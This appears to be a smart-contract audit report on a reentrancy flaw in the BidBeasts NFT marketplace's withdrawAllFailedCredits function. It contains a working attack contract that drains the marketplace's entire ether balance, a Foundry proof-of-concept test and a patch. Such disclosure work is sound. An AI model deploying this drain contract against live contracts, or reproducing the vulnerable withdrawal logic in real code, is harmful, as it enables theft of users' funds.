Description
An attacker can create an reentrancy exploit in the market place contract by taking advantage of the withdrawAllFailedCredits function. There are two issues with the function 1. access control 2. Incorrect state updates. Relying on the receiver address parameter without checking the sender allows anyone to call the function to try to steal the funds credited to the receiver. Additionally, the function incorrectly updates the failed credit value of the sender instead of the receiver. These together allow for the reentrancy attack.
* @notice Allows users to withdraw funds that failed to be transferred directly.
*/
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Risk
Likelihood:
Impact:
Proof of Concept
Attack Contract
pragma solidity 0.8.20;
import {BidBeastsNFTMarket} from "./BidBeastsNFTMarketPlace.sol";
contract DrainBidBeast {
BidBeastsNFTMarket public marketPlace;
address public targetReceiver;
constructor(address _nftMarketPlace) {
marketPlace = BidBeastsNFTMarket(_nftMarketPlace);
}
function drainFunds(address receiver) public {
require(receiver != address(0), "Must be valid address");
targetReceiver = receiver;
marketPlace.withdrawAllFailedCredits(receiver);
}
receive() external payable {
if (address(marketPlace).balance > 0 ether) {
marketPlace.withdrawAllFailedCredits(targetReceiver);
}
}
}
POC TEST
pragma solidity 0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {BidBeastsNFTMarket} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";
import {DrainBidBeast} from "../src/DrainBidBeast.sol";
contract RejectEther {
}
contract BidBeastsNFTMarketTest is Test {
...
function test_reentry_drain() public {
rejector = new RejectEther();
_mintNFT();
_listNFT();
address REJECTED_BIDDER = address(rejector);
uint256 FIRST_BID = MIN_PRICE * 2;
uint256 SECOND_BID = FIRST_BID * 2;
vm.deal(REJECTED_BIDDER, FIRST_BID);
vm.prank(REJECTED_BIDDER);
market.placeBid{value: FIRST_BID}(0);
vm.prank(BIDDER_1);
market.placeBid{value: SECOND_BID}(0);
uint256 preDrainMarketBalance = address(market).balance;
assertEq(preDrainMarketBalance, FIRST_BID + SECOND_BID);
assertEq(market.failedTransferCredits(REJECTED_BIDDER), FIRST_BID);
drainBeast = new DrainBidBeast(address(market));
drainBeast.drainFunds(REJECTED_BIDDER);
assertEq(address(market).balance, 0 ether);
assertEq(address(drainBeast).balance, preDrainMarketBalance);
assertEq(market.failedTransferCredits(REJECTED_BIDDER), FIRST_BID);
}
}
Recommended Mitigation
This attack can be avoided by checking if msg.sender has available credits and correctly updating their state. This prevents reentrancy because on the second attempt the require will revert the user because they will have no more credits alloted to their address. This also means only users with credits have access to the function.
- function withdrawAllFailedCredits(address _receiver) external {
+ function withdrawAllFailedCredits() external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
